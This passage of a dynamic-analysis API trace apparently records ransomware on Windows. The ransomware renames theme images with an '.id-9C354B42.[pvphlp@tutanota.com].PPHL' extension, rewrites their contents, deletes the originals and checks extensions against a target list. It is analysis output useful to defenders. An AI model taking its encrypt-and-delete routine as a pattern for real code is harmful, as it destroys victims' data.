hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.476] GetLastError () returned 0x0 [0076.476] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x8864, lpOverlapped=0x0) returned 1 [0076.486] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x8870, lpOverlapped=0x0) returned 1 [0076.487] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0076.487] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.487] SetEndOfFile (hFile=0x1ec) returned 1 [0076.488] CloseHandle (hObject=0x1ec) returned 1 [0076.488] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.488] SetEndOfFile (hFile=0x15c) returned 1 [0076.489] CloseHandle (hObject=0x15c) returned 1 [0076.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.489] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0076.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.489] lstrlenW (lpString=".doc") returned 4 [0076.489] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.489] lstrlenW (lpString=".docx") returned 5 [0076.489] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.489] lstrlenW (lpString=".pdf") returned 4 [0076.489] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.489] lstrlenW (lpString=".xls") returned 4 [0076.489] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.489] lstrlenW (lpString=".xlsx") returned 5 [0076.489] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.490] lstrlenW (lpString=".ppt") returned 4 [0076.490] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString=".zip") returned 4 [0076.490] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.490] lstrlenW (lpString=".rar") returned 4 [0076.490] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.490] lstrlenW (lpString=".bz2") returned 4 [0076.490] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString=".7z") returned 3 [0076.490] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString=".dbf") returned 4 [0076.490] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString=".1cd") returned 4 [0076.490] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString=".jpg") returned 4 [0076.490] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.490] lstrlenW (lpString=".doc") returned 4 [0076.490] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString=".docx") returned 5 [0076.490] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.490] lstrlenW (lpString=".pdf") returned 4 [0076.490] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.490] lstrlenW (lpString=".xls") returned 4 [0076.490] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.490] lstrlenW (lpString=".xlsx") returned 5 [0076.490] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.490] lstrlenW (lpString=".ppt") returned 4 [0076.490] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.491] lstrlenW (lpString=".zip") returned 4 [0076.491] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.491] lstrlenW (lpString=".rar") returned 4 [0076.491] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.491] lstrlenW (lpString=".bz2") returned 4 [0076.491] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.491] lstrlenW (lpString=".7z") returned 3 [0076.491] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.491] lstrlenW (lpString=".dbf") returned 4 [0076.491] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.491] lstrlenW (lpString=".1cd") returned 4 [0076.491] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0076.491] lstrlenW (lpString=".jpg") returned 4 [0076.491] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.491] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.491] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.492] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=945) returned 1 [0076.492] CloseHandle (hObject=0x15c) returned 1 [0076.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0076.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.492] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.492] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.495] GetLastError () returned 0x0 [0076.495] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x3b1, lpOverlapped=0x0) returned 1 [0076.498] WriteFile (in: hFile=0x20c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0076.499] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0076.499] WriteFile (in: hFile=0x20c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.499] SetEndOfFile (hFile=0x20c) returned 1 [0076.499] CloseHandle (hObject=0x20c) returned 1 [0076.508] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.508] SetEndOfFile (hFile=0x15c) returned 1 [0076.508] CloseHandle (hObject=0x15c) returned 1 [0076.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0076.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.509] lstrlenW (lpString=".doc") returned 4 [0076.509] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.509] lstrlenW (lpString=".docx") returned 5 [0076.509] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.509] lstrlenW (lpString=".pdf") returned 4 [0076.509] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.509] lstrlenW (lpString=".xls") returned 4 [0076.509] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.509] lstrlenW (lpString=".xlsx") returned 5 [0076.509] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.509] lstrlenW (lpString=".ppt") returned 4 [0076.509] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.509] lstrlenW (lpString=".zip") returned 4 [0076.509] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.509] lstrlenW (lpString=".rar") returned 4 [0076.510] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString=".bz2") returned 4 [0076.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.510] lstrlenW (lpString=".7z") returned 3 [0076.510] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString=".dbf") returned 4 [0076.510] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString=".1cd") returned 4 [0076.510] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString=".jpg") returned 4 [0076.510] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString=".doc") returned 4 [0076.510] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.510] lstrlenW (lpString=".docx") returned 5 [0076.510] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.510] lstrlenW (lpString=".pdf") returned 4 [0076.510] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString=".xls") returned 4 [0076.510] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString=".xlsx") returned 5 [0076.510] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.510] lstrlenW (lpString=".ppt") returned 4 [0076.510] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.510] lstrlenW (lpString=".zip") returned 4 [0076.510] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString=".rar") returned 4 [0076.510] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.510] lstrlenW (lpString=".bz2") returned 4 [0076.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.511] lstrlenW (lpString=".7z") returned 3 [0076.511] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.511] lstrlenW (lpString=".dbf") returned 4 [0076.511] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.511] lstrlenW (lpString=".1cd") returned 4 [0076.511] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0076.511] lstrlenW (lpString=".jpg") returned 4 [0076.511] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.511] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.511] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.511] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=32607) returned 1 [0076.511] CloseHandle (hObject=0x15c) returned 1 [0076.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0076.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.512] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.512] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.512] GetLastError () returned 0x0 [0076.512] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0076.515] WriteFile (in: hFile=0x20c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0076.517] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0076.517] WriteFile (in: hFile=0x20c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.517] SetEndOfFile (hFile=0x20c) returned 1 [0076.517] CloseHandle (hObject=0x20c) returned 1 [0076.517] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.517] SetEndOfFile (hFile=0x15c) returned 1 [0076.518] CloseHandle (hObject=0x15c) returned 1 [0076.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0076.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.519] lstrlenW (lpString=".doc") returned 4 [0076.519] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.519] lstrlenW (lpString=".docx") returned 5 [0076.519] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.519] lstrlenW (lpString=".pdf") returned 4 [0076.519] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.519] lstrlenW (lpString=".xls") returned 4 [0076.519] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.519] lstrlenW (lpString=".xlsx") returned 5 [0076.519] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.519] lstrlenW (lpString=".ppt") returned 4 [0076.519] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.519] lstrlenW (lpString=".zip") returned 4 [0076.519] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.519] lstrlenW (lpString=".rar") returned 4 [0076.519] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.519] lstrlenW (lpString=".bz2") returned 4 [0076.519] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.519] lstrlenW (lpString=".7z") returned 3 [0076.519] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.519] lstrlenW (lpString=".dbf") returned 4 [0076.519] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString=".1cd") returned 4 [0076.520] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString=".jpg") returned 4 [0076.520] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString=".doc") returned 4 [0076.520] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString=".docx") returned 5 [0076.520] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.520] lstrlenW (lpString=".pdf") returned 4 [0076.520] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString=".xls") returned 4 [0076.520] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.520] lstrlenW (lpString=".xlsx") returned 5 [0076.520] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.520] lstrlenW (lpString=".ppt") returned 4 [0076.520] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString=".zip") returned 4 [0076.520] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.520] lstrlenW (lpString=".rar") returned 4 [0076.520] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.520] lstrlenW (lpString=".bz2") returned 4 [0076.520] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString=".7z") returned 3 [0076.520] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.520] lstrlenW (lpString=".dbf") returned 4 [0076.520] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.521] lstrlenW (lpString=".1cd") returned 4 [0076.521] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0076.521] lstrlenW (lpString=".jpg") returned 4 [0076.521] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.521] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.521] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.906] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=2044) returned 1 [0076.906] CloseHandle (hObject=0x15c) returned 1 [0076.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0076.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.906] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.906] SetFilePointerEx (in: hFile=0x15c, 